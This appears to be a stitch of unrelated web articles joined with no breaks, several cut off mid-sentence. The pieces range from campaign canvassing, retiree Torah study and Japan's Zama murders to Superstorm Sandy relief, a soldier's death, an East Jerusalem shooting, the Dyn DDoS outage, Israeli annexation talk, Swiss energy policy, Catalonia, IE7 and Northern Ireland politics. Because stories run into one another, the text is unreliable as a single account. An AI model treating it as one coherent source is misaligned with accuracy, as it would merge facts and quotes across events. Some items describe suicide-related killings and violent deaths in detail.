I do my part to solve the ballast issue and get off at the next stop, on Royal Street. Gail and Steve Koroupis, two retirees, are the team leaders. Eric Martin, who works in the Baltimore County sheriff’s office, is the bonus canvasser. Steve pulls a green AFP T-shirt over his collared shirt. Gail opts for a white AFP T-shirt. Eric sticks with a Hawaiian shirt, shorts, and black socks. He’s the only one of us equipped for a few walking hours in Leesburg’s Indian summer.
Gail fusses with the tablet, spinning it around to figure out which direction we’re supposed to go. “They shouldn’t give these things to old people,” she says, chuckling. We miss our street, but I use my newly outdated iPhone to reorient us, and we double back to find an expansive ranch house occupied by a possible swing voter. Eric knocks on the door, hears nothing, and prepares to leave an AFP door hanger. (“Do you think the private sector is doing fine? President Obama does.”) Right then Patrick Henry, our 70-year-old African-American target voter walks out of a different door, scratching his head and asking who we are.
“Hello!” says Gail. “We’re from Americans for Prosperity.”
“We just have one question,” says Steve.
Gail pecks away at the tablet, trying to log us in. “You’re the first person we’ve talked to,” says Steve. “You’re our guinea pig.”
Finally, Gail figures out the tablet. “It says, |
The Senior Men’s Kollel at Congregation Ahavas Achim, an OU-member shul, in Highland Park, New Jersey, has expanded from a single morning a week and about a dozen students to two mornings and a few dozen students since it began four years ago, says Ed Epstein, a synagogue board member and leader of its retirees kollel since his retirement. “We may [even] add a third day.”
Epstein and other supporters of the program initially contacted every man in the area whom they thought might be interested, and word of mouth sustained it. “It took off,” he says.
As in any yeshivah, there’s give and take between talmid and maggid shiur, Epstein says. “It’s not only a lecture; it’s an exchange.”
“It’s really enriched my life,” he adds. “It’s changing my value system.”
Some kollel programs attract women as well. The Scholars Kollel of Great Neck on Long Island, New York, draws between twenty and thirty participants, including a handful of women who attend on a steady basis.
Giving Meaning to Retirement
Ezra Klein, who founded his Agra d’Pirka kollel-like program in his Flatbush neighborhood (now it has separate branches in Brooklyn’s Boro Park neighborhood and Queens’ Kew Gardens Hills), says his learning programs aren’t strictly for retirees. But they tend to attract a large number of retirees, along with men who are either unemployed or have jobs with flexible schedules. He tells of lives being changed by the experience. One unemployed man, for example, said that the learning saved him from becoming despondent.
“Men have told me that the kollel has literally saved their lives and marriages,” says Rabbi Friederwitzer. “They were not enjoying their retirement and now they enthusiastically look forward to each new day.”
Usually, the incentive is less dramatic.
“The thirst for Jewish knowledge is increasing,” Rabbi Schonfeld says. Many of the students in the retiree programs came of age when there were fewer chances to pursue advanced Jewish learning and their careers took up their time. Now, the rabbi says, “they want to fill that gap. They don’t want to stagnate in their old age. They’re definitely motivated.”
“It beats playing cards,” Rabbi Schonfeld says.
“I don’t want to sit and be entertained,” Klahr says.
His kollel studies are “very hard,” he says. “This is serious Torah leaning.”
Which is how he prefers it.
Steve Lipman is a staff writer for the Jewish Week in New York.The police have identified all nine of the dismembered bodies found in an apartment in Kanagawa Prefecture late last month, including three high school girls, the youngest of whom was 15, officials said Friday, sending shock waves through the victims’ families and friends.
The bodies were found in the apartment of 27-year-old Takahiro Shiraishi, who was arrested on Oct. 31 and has since confessed to killing all nine. Investigators had been trying to identify the bodies through DNA analysis and other means.
According to the officials and investigative sources, the victims include Kureha Ishihara, a 15-year-old high school student from Ora, Gunma Prefecture, and two 17-year-old high schoolers from the cities of Saitama and Fukushima — Natsumi Kubo and Akari Suda.
The others include Hinako Sarashina, a 19-year-old female university student from Saitama Prefecture; Hitomi Fujima, a 26-year-old woman also from Saitama; Mizuki Miura, a 21-year-old female company worker; Shogo Nishinaka, a 20-year-old man; and Kazumi Maruyama, a 25-year-old woman. Miura, Nishinaka and Maruyama were all from Kanagawa.
The name of the first victim to be formally identified was released on Monday as Aiko Tamura, 23, from the Tokyo suburb of Hachioji. The search for Tamura is what originally led police to Shiraishi’s apartment.
The nine were dismembered and stored inside coolers in the apartment in the city of Zama. Parts of the bodies showed multiple cuts, and some portions had already been reduced to bone, according to the police.
It was impossible for the police to identify the victims immediately due to the state of the body parts. Some of the victims’ belongings found in the apartment, along with other evidence including GPS data from their mobile phones, led the police to collect DNA samples from their families to help identify them.
Hours after the police released the names of all nine victims, families and friends put their grief into words, with some expressing anger and others finding it difficult to accept the reality of their fate.
“I have been watching the news all night. But I still don’t believe it,” said Hirofumi Suda, 62, the father of Akari Suda. After the list was released overnight, Suda spoke to reporters Friday morning in front of his home in Fukushima Prefecture.
His daughter, who was a senior in high school, said she dreamed of becoming a manga artist, having served as one of the leaders of her junior high school art club and drawing a picture for the front page of a school booklet.
She went missing after attending her school’s sports day on Sept. 26, according to the high school.
Fujima went missing after leaving work earlier than usual on Sept. 13. She moved to Kasukabe, Saitama, with her husband and daughter in 2015 and her family vacated their home in October, according to neighbors.
“She seemed hesitant to leave (on her last day at work). I feel guilty for not saying anything to her,” a male co-worker said. “I can’t forgive the suspect if he preyed on her distress.”
Shiraishi targeted women who expressed suicidal thoughts on social media, seeking to get acquainted with them and earn their trust by posting his own suicidal wishes on Twitter, according to investigative sources.
The only male in the group, Nishinaka, was killed after confronting Shiraishi about the whereabouts of his girlfriend, who was his first victim, the sources said.
Nishinaka was known as an enthusiastic bass guitarist who played in a band while working at a facility for handicapped people. The resident of Yokosuka, Kanagawa Prefecture, said he planned to tour with his band, an acquaintance said.
The youngest victim, Ishihara, was a high school freshman in the town of Ora. A person associated with the local education board recalled meeting her when she asked about the decline of the town’s population as a member of a Child Assembly program organized by the municipality in July last year.
A student from her school said Friday, “I think everyone was worried about her. I am shocked.”This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman. We are broadcasting both from New York City and from Nine Network, My9, which is Missouri public television in St. Louis.
Well, another area of New York City hit hard by the aftereffects of Superstorm Sandy is Chinatown in the southeastern section of Manhattan, where many businesses remain shuttered Thursday. Residents were still without power, some of them stranded on high floors of apartment buildings.
The group CAAAV: Organizing Asian Communities has been leading a relief effort, with volunteers distributing supplies, canvassing buildings. On Thursday, activists and volunteers handed out sandwiches, crackers, rice, water, batteries and other aid to hundreds of people outside the group’s office.
In a few minutes, we’ll be joined by CAAAV’s executive director, Helena Wong. But first, Democracy Now!’s Amy Littlefield was there Thursday and filed this report.
AMY LITTLEFIELD: This is Democracy Now!'s Amy Littlefield with Martyna Starosta. We're here in Chinatown, where, as you can see, there are people lined up around the block trying to get food, supplies and information. They’ve been hit here hard by Superstorm Sandy. And we’re going to talk with an organizer who’s been here trying to help people out.
VOLUNTEER: Other buildings, we had no access, because their air-con systems are disabled…
HELENA WONG: My name is Helena Wong. I’m the executive director of CAAAV: Organizing Asian Communities. And we are standing here today in front of our office on Hester Street in Chinatown, where we’ve been providing relief and information for people who have been impacted by Hurricane Sandy in Chinatown and the Lower East Side.
ISMAEL MENDEZ: My name is Ismael Mendez. I was on the bus heading to 125th and Lex, when somebody told me they were giving out food down here. So I figured I’d come back around. And when I got here, I got what I needed, and I told them I’ll volunteer for work. So, I did three tours in one day, climbing buildings all the way to the 28th floor and taking food to the older people that cannot do it on their own.
LAM SHU: My name is Lam Shu. Sometimes stuck, everything now, with every day, with a couple times from the first floor walk up to the 20th floor.
AMY LITTLEFIELD: You have to walk up to the 20th floor?
LAM SHU: Mm-hmm, yes, yes. Before, I feel terrible. But then now, a couple of days higher, I already accustomed to. I like this exercise.
WENYAN CEN: Simon Cen. [translated] Yeah, so he was just saying, well, you know, just you really need to get communication and electricity, and there’s no, like, water, even. And it’s just really hard to get through, you know, your daily—or just get through, day by day.
FENG BAO ZHEN: [translated] My name is Feng Bao Zhen. And because my building, there’s no water and electricity in my building, so that’s why we’ve been just like walking around trying to look for supplies. And that’s why we’re here today.
HELENA WONG: I think the folks who are most impacted, I mean, it’s pretty clear from the folks who are on line: a lot of immigrants, a lot of elderly with families, people who live in public housing, people who are on public assistance, people who are disabled. We’ve seen kind of everybody come through.
AMY GOODMAN: That last voice, Helena Wong, executive director of CAAAV: Organizing Asian Communities, who joins us now. But first, I want to take a moment to thank a former Democracy Now! fellow ManSee Kong and CAAAV volunteer KahEan Chang, who both provided translation for that report.
CAAAV’s Helena Wong joining us in New York City to talk more about the relief effort and the impact of Superstorm Sandy on Chinatown. I’m glad we could get you into a studio in New York that’s above the line where there’s no electricity, because just 20 blocks from where you are is Democracy Now!'s studios. Of course, we're still in blackout mode, no electricity there.
Helena, talk about Chinatown right now, what it is you’re doing. And can you make some comparisons to how Organizing Asian Communities, how CAAAV worked after 9/11, the devastation, because Chinatown was right near where the World Trade tower was, the buildings that were taken down September 11th?
HELENA WONG: Sure. Hi, Amy. Thank you for having us, having me.
It’s been pretty crazy. I went down to Chinatown on Tuesday right after the storm, and there was nobody on the streets. Everybody was still in their apartments and in their homes. And when I was visiting our members, they were all saying that they had no information. And that’s when we realized that this was going to be major crisis for folks, because we knew that a lot of the attention was on Wall Street, it was on other parts of New York City. And we knew that there was nothing that was getting translated. I had been glued NY1 and other news channels and Facebook. So—so, I was pretty—I felt like I had information. But then, when I went down, it was clear that nobody had any information, and that was the biggest thing. People had enough food for a couple of days. They didn’t know how long the electricity was going to be out for. They didn’t know when the trains were going to come back on, whether there was school.
And so, then on Wednesday, we began to provide relief efforts. And up until yesterday afternoon, that’s when we heard about our city elected officials, leadership and FEMA coming into the community. And we’re thankful that they’re there now, but it’s been a few days, and people have come to us really hungry, really hungry for information also, and just starving for more—for more contact.
Post-September 11th, it was a lot of the same thing, except Chinatown was barely livable then, as well. And again, not a lot of information then. There were also a lot of health impacts that people didn’t even know about at the time. And we’re seeing that when—and actually, after September 11th, I remember seeing military tanks in the street, but nobody giving out information about where people should go, what people should do. And it’s a lot of the same thing happening now.
AMY GOODMAN: You gave out aid to, what, more than 700 people so far, charging more than 200 cellphones. And charging phones, that’s not just a minor issue; it’s people’s only form of communication, of link to the outside world, in quite dangerous times right now.
HELENA WONG: That’s correct. So we charged over a hundred—we charged about a hundred phones the first day. We charged over 200 phones yesterday. Today, if we get the generators that are promised us, we can probably charge about 500 phones. And we’re only charging them for about 20 minutes each, so they’re not getting charged a whole lot. And actually, a lot of Chinatown still doesn’t have cellular access, but people feel like that’s the only way that they can get connected. And they can actually walk to areas where there is a little bit of Wi-Fi access and texting. And so, it’s been—we’ve had lines around the block just for that, and we’ve turned so many people away, because it’s such a need right now to just feel connected and to feel like people are going to get information. They know that their loved ones are OK; their loved ones know that they’re OK.
AMY GOODMAN: Very quickly, the issue of gentrification, how does it affect what you’re trying to do right now?
HELENA WONG: So, the issue of gentrification has been going on in New York City for a really long time. And it’s really about who is the city for? And what we’re seeing is—what we’ve been experiencing for a long time is that a lot of communities of color are getting displaced, and it’s really clear that in rebuilding efforts, in this case, that the focus is going to be on getting areas that are wealthier up first. And the kind of economic engine of the city will be prioritized over people. It’s really sad to see that that’s the priority of the leadership of the city.
AMY GOODMAN: Well, I want to thank you, Helena, for joining us. Helena Wong is the executive director of CAAAV: Organizing Asian Communities. She is organizing now in Chinatown, which is right next to Wall Street and, we should say, the New York Stock Exchange—electricity did go on.
Well, we want to encourage people to join us on Tuesday night for election night special. You can go to our website at democracynow.org for details, from 7:00 Eastern Standard Time to 1:00 in the morning. All radio and television stations can run us.
And we are continuing to make our way back to New York. Tonight we’ll be in Houston, Texas, at 7:00 at the [Emerson] Unitarian Universalist Church. And then on Monday night, if electricity is restored in New York City, we’ll be at Barnes & Noble at 6:00, the one in Tribeca at 97 Warren Street.The new LDV members’ survey is now live. So if you are one of the 1,600+ registered members of the Liberal Democrat Voice forum — and any paid-up party member is welcome to join — then you now have the opportunity to make your views known.
This is a brief survey, focused on the performance of the Lib Dems and party leader Nick Clegg at the most recent set of local and European elections. It should take no longer than 5-10 minutes minutes to fill in. All registered members of the Forum should have today been e-mailed with a unique link to take you to the survey. If you haven’t received yours, or if you are signing up to the Forum now, please drop Ryan Cullen a line at [email protected]. Please do check your spam folder first, though, in case it’s ended up there!
We’ll publish the results in full on Tuesday evening, so make sure you vote as soon as possible.
You can access the results from our previous LDV members surveys by clicking here — and you can access a Google spreadsheet of our ‘Coalition tracker’ and ‘leading Lib Dems’ ratings here.
* Stephen was Editor (and Co-Editor) of Liberal Democrat Voice from 2007 to 2015, and writes at The Collected Stephen Tall.What does it really take to become a good Product Manager? Is it about being technical or having a business background or something completely different? Senior Product Manager at LinkedIn made an argument about products being about people and talked about his own background, how he got into product Management and why you need to understand people.
Jonathan (Jasper) Sherman-Presser
Senior Product Manager at LinkedIn. Previously Business Development intern at Spotify and Product Manager at Comcast and MyNewPlace. Has a degree in English and an MBA. Weird fact: worked as a Trip Leader in France for 2 years.
We can look at product management from many different angles and none of them are wrong. Let’s look at it from this one now: “To build great products you need to understand people.” People are the users so it makes sense to go to the source and try to understand their problems and desires in order to build products that address them. Here are our top picks about why products are about people.
“To build great products you need to understand people”
You won’t get very far building products if you don’t know the reasons behind building it. Understanding people’s needs, desires and problems is crucial in this process because essentially products are made for those people. The important thing is to understand what problem you’re trying to solve in order for you to take the idea and execute it.
Figuring out what the real problem is can be discovered by asking why until there are no more whys. What is left is your problem.
PM’s learn from the wrong solutions
If you ask a PM whether they’ve spent more time with a successful product than an unsuccessful one the answer is no. Most PM’s spend most of their time with unsuccessful products because it’s not PM’s job to have solutions for everything. Product Managers need to own the problem not the solution, and not get attached to any particular solution. People don’t care about the solution they care whether it fits their needs.
“Great products make people feel something”
When you’ve built the product well you’ll see the results. Those results can be seen for example in the amount of users that product has. People come back to use the product because it gives something to them. It gives them feeling of productiveness, effectiveness or it inspires them. Even though the product is never perfect and it’ll never be ready it already gives something to the people to make them feel.
“Products are built by people”
There is always a team behind building great products. The size varies between companies but the idea is the same. Product Management is about the process of getting to the right solution with the team. Product Manager’s job is to make the team do the things the PM wants them to do to make them and the product successful.
The intention is not for the Product Managers to have all the answers to the questions that the team asks. PM’s main goal is to help the team by giving them the tools to figure out the answers themselves.
Questions from the audience
How do you stay away from great ideas that the data doesn’t support?
Saying “no” is one of the most important and most difficult things as a Product Manager. Make sure that people are focusing on the problem. Really press them on it. If a person comes to you with an idea that you know is probably not a good idea challenge them by asking how do they think it addresses the problem. Make sure that it does and that it doesn’t just sound exciting. Sometimes if you just help people through that process they will figure it out and realize that it’s not such a good idea.
The other option is saying that it’s a great idea and that we can do that in the version 2 if we do the other things first. The intention behind it is to make sure that you solve the small things first before moving on to the bigger things. Also letting people make their own mistakes and learn from them is an important thing to do so sometimes you have to let them do what they want to do.
How can you figure out quickly what each team needs from you?
Depends on the team. Some people learn it overtime when they learn people’s personalities. I’d say you need to get a good sense of who are the loud people on the team early on and listen to their feedback. You can also do regular retrospectives to get the whole team together to talk about what’s going well and what not so well, what are the things we changed what did we improve on.
It’s the whole team talking to each other and they have different perspectives on it. It helps them feel like they’re one helping and being part of the process.
How do you sense when a product is going downhill?
There is a certain point in the product life cycle that doesn’t matter what you do you can’t move any metrics anymore. Even at that point, it doesn’t mean that you should abandon the product. Your product can still be really successful but you have hit the total penetration of your market and there are no more people to do what you want them to do. It is totally fine but as a business, you need to start doing other things in order to grow.
But this is different from trying things that don’t work. It could be that the solution wasn’t any good or the problem wasn’t really worth solving in the first place. It’s one of the hardest things is to know when to throw in the towel.
Any advice for people that want to become Product Managers at LinkedIn?
We would ask you if you can look at a specific thing and articulate why that product is great, what does it do that works well. We’d want to know if you understand how products and solving the problem work and whether you can articulate and diagnose those things. The second part is just whether you can get shit done.
For example, how do you measure success, how do you draw a roadmap, how do you feel about working with engineers if you don’t have technical background and how do you deal with different things. We look for people of all stages of experience. Because we’re a big company we can look for people that don’t have 4 years of PM experience.
Products are about people because they’re built for people. An important thing to understand is not only what the problem is and what people want but also understand what the team needs from the PM to get things done. Essentially it’s all about people, their desires and needs and solving problems.Army Pvt. Danny Chen, 19, of Manhattan, died in Afghanistan on Oct. 3, 2011. View Full Caption U.S. Military
MANHATTAN — The U.S. Army's criminal investigations unit is probing the death of a soldier from Manhattan who was killed in Afghanistan early this month.
Army Pvt. Danny Chen, 19, who grew up in Chinatown and went to school on the Lower East Side, died on Oct. 3 in Kandahar Province, the military said last week.
Chen’s parents reportedly said military personnel informed them that their son had been subjected to harassment and physical abuse by fellow soldiers and may have committed suicide. Reports indicate that Chen died from a gunshot wound to the head.
A spokesman for the U.S. Criminal Investigations Command said that an investigation into the incident is ongoing, but did not provide specifics regarding the circumstances or cause of death.
"I can tell you that aside from determining the actual cause and manner of Pvt. Chen's death, our investigation will also determine the circumstances leading up to his death. Any discussion of possible contributing factors would be premature at this point," said Chris Grey, chief of public affairs for the command.
Family spokesman Frank Gee, who has acted as a translator between the military and Chen’s parents, also could not speak to any possible criminality involved.
He said Chen was the only child of parents who currently live in public housing on Avenue D, and that he grew up on Elizabeth Street in Chinatown.
“Of course it’s a shock — it’s their only son,” Gee said. “They were devastated.”
Chen had problems with his fellow soldiers in Afghanistan, who at one point dragged him out of bed and beat him, according to reports. NBC reported that six of his superior officers beat him for forgetting to turn off a hot water heater.
“It’s quite a traumatic event, especially for a Chinese family,” Gee added.
Grey said that Chen's body was found in a guard tower, not a sleeping facility, and noted that his office investigates all non-combat-related deaths of soldiers that occur at U.S. military bases.
"We investigate all deaths as if they were homicides to ensure we collect all the information, evidence etc.," he said. "That is not to say that a crime occurred, but the evidence will reveal that."
Friends said Chen was an honor student at Pace High School on Hester Street, and that he decided to join the military out of a desire to serve his country. He planned to become a police officer after the army, they added.
"He was always about being a soldier, being a warrior," said Justin Lum, 20, one of his best friends in high school, who spoke to the soldier online only days before his death.
He noted that Chen commented on the fact that he was the only Asian American in his outfit.
“I do remember that he said something about being the only Asian guy there so he does feel sometimes like an outcast a little bit,” said Lum, who lives Chinatown.
He explained that Chen was very well liked in school and didn’t have run-ins with anybody, adding that “no one picked on him.”
However, Lum said he didn’t believe the solider could have committed suicide, and that Chen always handled anything that came his way without complaint.
“He was always such a cool guy,” Lum said. “I just don’t understand how this really could have happened.”
Chen was assigned to the 3rd Battalion, 21st Infantry Regiment, 1st Stryker Brigade Combat Team, 25th Infantry Division, based in Fort Wainwright, Alaska.
Governor Andrew Cuomo ordered flags flown at half-mast last week in his honor.
"On behalf of all New Yorkers, I send my profound sympathies to the family, friends, and fellow soldiers of Private Chen," Cuomo said. "We will remember the service and mourn the loss of this New York soldier."
Chen’s funeral is scheduled for Thursday at the Wah Wing Sang funeral home on Mulberry Street.A motorist from East Jerusalem who ran over and wounded several Border Police officers Friday was shot twice in the face from close range while still lying on the ground, eyewitnesses said. Neighborhood witnesses said the fatal shots were fired once the officers no longer had reason to fear that their lives were in danger, and could have easily arrested the suspect.
Witnesses in the East Jerusalem neighborhood of Wadi Joz told Haaretz that the motorist, Ziad Jilani, suddenly swerved his car and hit the group of officers walking further up the road. They said, however, that they believed the collision was an accident, and not committed intentionally as initially reported.
Ziad Jilani
Jilani, 39, was self-employed and the father of three daughters. His wife is a U.S. citizen, and he himself lived for an extended period in both the U.S. and Switzerland.
Around 2 P.M. Friday, Jilani was driving his van home from prayers in nearby Shoafat. Several minutes before the incident, Border Police officers were seen riding horses toward the Wadi Joz industrial area. A number of other officers were deployed around the area, and several started making their way toward Jerusalem's Old City. Jilani's car was traveling in tightly packed, slow-moving traffic with no oncoming vehicles.
The neighborhood soon filled up with people returning from Friday prayers, and some stores were already being opened. Two eyewitnesses said stones were hurled at the officers, one of which struck Jilani's car. He then swerved his car left, they said, veering from its lane and striking the group of policemen.
Shots were heard immediately, another witness told Haaretz, and one of the officers fell to the ground. Two policemen tended to him until an ambulance arrived, and the other officers got in their vehicles and began pursuing Jilani, who had continued driving after the collision, and shooting at his car.
Another witness said that he had not seen stones thrown, but rather believed Jilani had tried to overtake the vehicles in front of him. Several other witnesses said the windshield of Jilani's car had been shattered, but were unsure if the damage had been caused by a bullet or a stone.
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Jilani turned his vehicle into a dead-end alley where his uncle lives, and the officers continued pursuing his vehicle and shooting.
A mother and her adult daughter present at the scene saw the man emerge from his car. The daughter told Haaretz, "I was further down the alley, and I heard shots... I saw a car driving, followed by many police officers. The car stopped right next to me, and someone got out. I saw him next to the car door, and he looked at me with an expression I didn't really understand, but I will never forget.
"There was shooting and I started to scream," the woman continued. "My mother ran toward me and threw me to the ground. Everything happened within seconds. I realized he wasn't walking normally, and saw the shattered windshield of the car, maybe from a stone. He ran until he fell over," she said.
Ten meters separated the parked car and the spot where Jilani fell to the ground.
"He got out of the car, and they came after him. Not just one of them shot, but many of them, and then they started yelling in Hebrew for people to go back into their homes," the daughter said.
Both women said they saw Jilani lying on his stomach with several officers gathered around him, and the daughter said one of the policemen kicked him in the head. The mother said she saw an officer point his rifle extremely close to Jilani's head, and when she put her head down to the asphalt she heard a shot ring out.
A Border Police spokesman, Chief Superintendent Moshe Pinchi, did not comment on the questions posed to him by Haaretz. In his response, Pinchi wrote, "Individuals have been killed and dozens wounded in vehicle attacks in Jerusalem between 2008 and 2009... All of those attacks were committed by East Jerusalem residents, and in each case those close to the perpetrators described the incidents as 'accidents.'
"Four Border Police officers were wounded in this last incident in Wadi Joz and hospitalized for treatment, and only by a miracle were fatalities avoided," he said.Popular Australian media, banking, insurance, retail and hotel websites have experienced outages and interruptions following cyberattacks in the US overnight, according to digital performance monitoring company Dynatrace.
The international attacks targeted Dyn, a company that helps people connect to websites, with a huge amount of traffic in an attempt to knock the service offline, according to Dyn's director of internet analysis, Doug Madory.
The Distributed Denial of Service (DDoS) attack came in three waves and left millions of users, mostly in the US and Europe, unable to access many popular websites including Twitter, Spotify and Netflix.
According to data by Dynatrace, interruptions were experienced by Australian websites including AAMI, ANZ, BankWest, Coles, The Daily Telegraph, Dan Murphy's, ebay, HBSC, The Herald Sun, NAB, 9News, The Age, Ticketmaster, The Australian, Woolworths, The Sydney Morning Herald, and Westpac.“Now the LORD said unto Abram: ‘Get thee out of thy country, and from thy kindred, and from thy father’s house, unto the land that I will show thee.” Genesis 12:1 (The Israel Bible™)
In response to recent peace overtures by Israeli Prime Minister Benjamin Netanyahu, which would involve ceding land to the Palestinians, Uri Ariel, Israel’s agriculture minister, suggested instead that Israel should remove “a few thousand Arabs” from Area C and then annex it, The Times of Israel reported.
Israel maintains control over security and general land management in Area C, a portion of land that constitutes about 60 percent of Judea and Samaria. It is estimated that 325,000 Israelis live in Area C, while the exact number of Palestinians is hotly contested. B’Tselem, a leftist Israeli NGO, has reported it hovers around 300,000, while more conservative estimates place the population at around 75,000.
Ariel’s recent statements contradict his previous proposals that Israel should annex the entirety of Judea and Samaria and give the Palestinians the status of “permanent resident” in the newly expanded Israel with the possibility of full voting rights, reported The Times of Israel. Due to the hefty Palestinian population, any form of evacuation would be quite an undertaking, making his latest suggestion one that is hard to digest or even implement.
Regardless of the tremendous efforts such an operation would entail, Ariel insisted “we have to aspire to the annexation of Area C.”
“We would remove a few thousand, who do not constitute a significant numerical factor,” he added. The minister did not specify exactly how the Palestinians would be removed, or where they would be relocated.
Ariel’s comments come amid Netanyahu’s recent initiatives towards a solution consisting of ‘two states for two peoples’. Netanyahu’s gestures have thus far been proven unsuccessful, as Palestinian Authority President Mahmoud Abbas has all but refused to appear at the negotiating table so long as Israel continues construction.
Regardless of the initiative’s failures, Ariel has voiced his disapproval of the two-state solution, saying that rather than giving a state to the Palestinians, Israel should annex Area C and allocate a proper sum of money, some $2.6 billion, to drastically improve the lives of those who live there.
Further, the minister threatened to resign should the government follow through with ceding land to its Palestinian neighbors.
“There is no way that we remain in a government that takes territory from the Land of Israel and hands it to others — the word ‘return’ isn’t appropriate — it’s ours, not theirs,” he said. “We have been there [in the West Bank] for 49 years, 50 years — compared to 19 years in which the Jordanians [controlled it.] There can be no comparison. It’s absurd.”
Relinquishing any Israeli land as a means for a two-state solution is heavily disputed among religious and political authorities worldwide. Some even hold it goes directly against God’s intentions. Last month, dozens of Israel’s leading rabbis convened in Jerusalem at the Emergency Conference for the Security of the Nation of Israel in the Holy Land to protest the idea. “God’s plan has been to give Israel to His people, not to anybody else…It belongs to the Jewish people…Nobody gave us permission to hand over any part of Israel to anybody else,” said Rabbi Shalom Gold, founder of Kehilat Zichron Yosef, at the time.
Though his idea may have some merit, Ariel’s proposal evokes a strong reminder of the consequences of forcibly removing thousands of people from their homes, such as that which occurred following Israel’s withdrawal from Gaza in 2005. Approximately 9,000 Jews were evicted from the Gaza Strip and Northern Samaria in an effort towards peace. But the pullout took a toll on the once-thriving employed population: 11 years later, several hundred people are still badly in need of outside assistance to afford simple necessities.Switzerland held a referendum on Sunday on the government's planned transition from the nuclear power provided by the country's aging reactors to renewable energy sources.
The majority of voters supported the shift, with 58.2 percent voting in favor of the referendum, according to the final tally. Only four of Switzerland's 26 cantons votes against the overhaul to renewables.
Most voters had already cast their ballots by post over the past few weeks.
The Swiss government decided to gradually phase out nuclear power after the disaster in Fukushima, Japan, in 2011, where there were three nuclear meltdowns at a plant after a tsunami caused by an earthquake. Berlin took a similar step after the disaster by announcing the phaseout of nuclear power in Germany.
Switzerland's so-called Energy Strategy 2050, spearheaded by Energy Minister Doris Leuthard, who is also the current Swiss president, involves decommissioning Switzerland's five reactors as they reach the end of their safe operational lifespan. Currently, they produce around a third of the country's electricity.
The Fukushima disaster caused several countries, including Germany, to rethink nuclear energy
More renewables, more efficiency
Although the plan does not lay down a clear timetable for phasing out the plants, it does envisage increasing reliance on hydraulic power and solar, wind, geothermal and biomass energy sources, as well as reducing energy consumption and improving energy efficiency.
Its targets are ambitious, with the aim being to cut the average energy consumption per person per year by 43 percent by 2035 as compared with levels in 2000.
Last year, Swiss voters rejected a call to accelerate the decommissioning of the plants, a move that would have seen three of the five reactors closing this year.
'Cold shower' claim
The government's energy |
19 of the Universal Declaration of Human Rights – to express it, without fear of violent government reprisal and repression. My issue with yesterday – apart from armed police beating the people who pay them – was with the framing of the argument and the nebulous political motivations that put this particular referendum in motion. And just to be clear, I do believe that Catalonia deserves a proper referendum, but one that serves every Catalan and one that is based around an actual plan for moving forward.
As I’ve already stated elsewhere, nation-changing referenda in the UK – the Scottish independence vote and the Brexit vote – at least took place against the backdrop of lengthy internal debate, with for and against camps getting equal opportunity to state their cases. However, to repeat myself, yesterday’s referendum was not about an informed decision. It was about provoking a response. And there is no doubt it has succeeded in that. There is injustice in Catalonia and there is a massive issue with the Spanish government in terms of Catalan autonomy that needs to be sorted out.
Thanks to yesterday, all eyes are on Spain now, which we hope might help keep things more civil than Rajoy has been so far (though it didn’t stop him yesterday), and the following days are going to be fraught, with tensions high and an angry mass of people ready to kick off after the unjustified battering they endured yesterday. There is no going back now. Some kind of deal or arrangement has to be made, but given the obvious self-interest of both leaders, I find it hard to see how that will happen, not without some third-party mediation from an otherwise embarrassingly so-far silent EU, or at least the forced resignation of Rajoy, Franco’s very own Mini-Me, to make way for someone who is actually capable of intelligent, measured dialogue.
We shall see.
AdvertisementsIt’s been a little over a year since we released IE7 on Windows XP and for Windows Vista, so I thought it would be worthwhile to talk about where we are after the year.
According to internal Microsoft research based on data from Visual Sciences Corporation, there are over 300 million users are experiencing the web with IE7. This makes IE7 the second most popular browser after IE6. IE7 is already #1 in the US and UK, and we expect IE7 to surpass IE6 worldwide shortly.
Perhaps more important than the overall numbers is the positive impact IE7 has made for our users. As you know, we focused a lot on improving security in IE7. We believe IE 7 is the safest Microsoft browser released to date. According to a vulnerability report published today, IE7 has fewer vulnerabilities than previous versions of IE over the same time period. What’s more, the report showed that IE7 had both fewer fixed and unfixed vulnerabilities in the first year than the other browsers we compared.
In addition to having fewer vulnerabilities, as we previously mentioned, IE 7’s Phishing Filter stops more than 900,000 phishing attempts per week, stopping crimes-in-progress before users give up their personal information. On top of that, more sites are adopting Extended Validation Certificates as a way to help protect their users from fraud, and people are noticing. A recent USA Today article noted that “for the ultimate peace of mind, look for the address bar to turn green in IE7” in the context of securely connecting with your broker.
Finally, we’ve seen a decrease of 10-20% in the support call volume for IE compared with a year ago, before the release of IE7. This is typically a sign that the product is more stable and has fewer issues than the previous release.
While we’re happy with how well IE7 is doing, as always, we continue to listen to our customers and find ways to further improve Internet Explorer. Look for more news on this front in the coming weeks.
Tony Chor
Group Program ManagerThat sound you hear — the loud, thumpity, tip-tip-tapping sound — is the entirely predictable, carefully rehearsed choreography of the talks process.
It started last week, with Michelle O’Neill calling for “a round of talks which should be focused and time-limited”; only to be shot down a few hours later with a dismissive, “it’s a stunt” response from the DUP.
The following day, Danny Morrison (who isn’t known for commenting just for the sake of commenting), noted: “It’s about the DUP either unintentionally or deliberately misconstruing republican efforts at outreach as weakness.
“It may well be that we’re at the stage where the unionists — in the guise of the DUP — can’t make this leap. And if they can’t make this leap then republicans have the power to deprive them of power — and that’s what’s going to happen; I can’t see the thing being put back together again.”
He added, after conceding that direct rule could follow unsuccessful talks; “you shouldn’t baulk at making the right decision because of an unfavourable consequence.”
Then up popped Sammy Wilson in Saturday’s News Letter: “The demands and red lines of Sinn Fein are so unrealistic that there is not going to be an agreement.
“Brokenshire is not naïve but I wonder why he continues to be optimistic that a deal can be done. He needs to get real and understand Sinn Fein’s game. While direct rule is not my preference, I believe the people of Northern Ireland will be better served by it at this time.”
And, just for good measure, both the UUP’s Roy Beggs and Jim Allister added their voices to the direct rule chant.
Hardly worth kickstarting the talks process, you might think; and I would agree with you. But the Secretary of State is sticking to the line, “Northern Ireland needs devolved government, not direct rule, to ensure that effective public services are delivered to all.
“Responsibility remains with the parties to resolve their differences and to get back into an executive to achieve this. This is what is in the best interests of Northern Ireland.”
I’ve been arguing since December – shortly after the RHI story broke – that Sinn Fein was already thinking about a post-Assembly scenario: which means they probably don’t care if the Assembly trundles down the pan.
i also think that the DUP could live with direct rule for a while, because it gives them breathing space to negotiate internal shifts on some very difficult decisions (Irish Language, legacy, equality et al).
In other words, both parties have — or think they have — a good enough reason to let the present impasse run on and allow Brokenshire to appoint a few direct rule ministers to carry on with the day-to-day work.
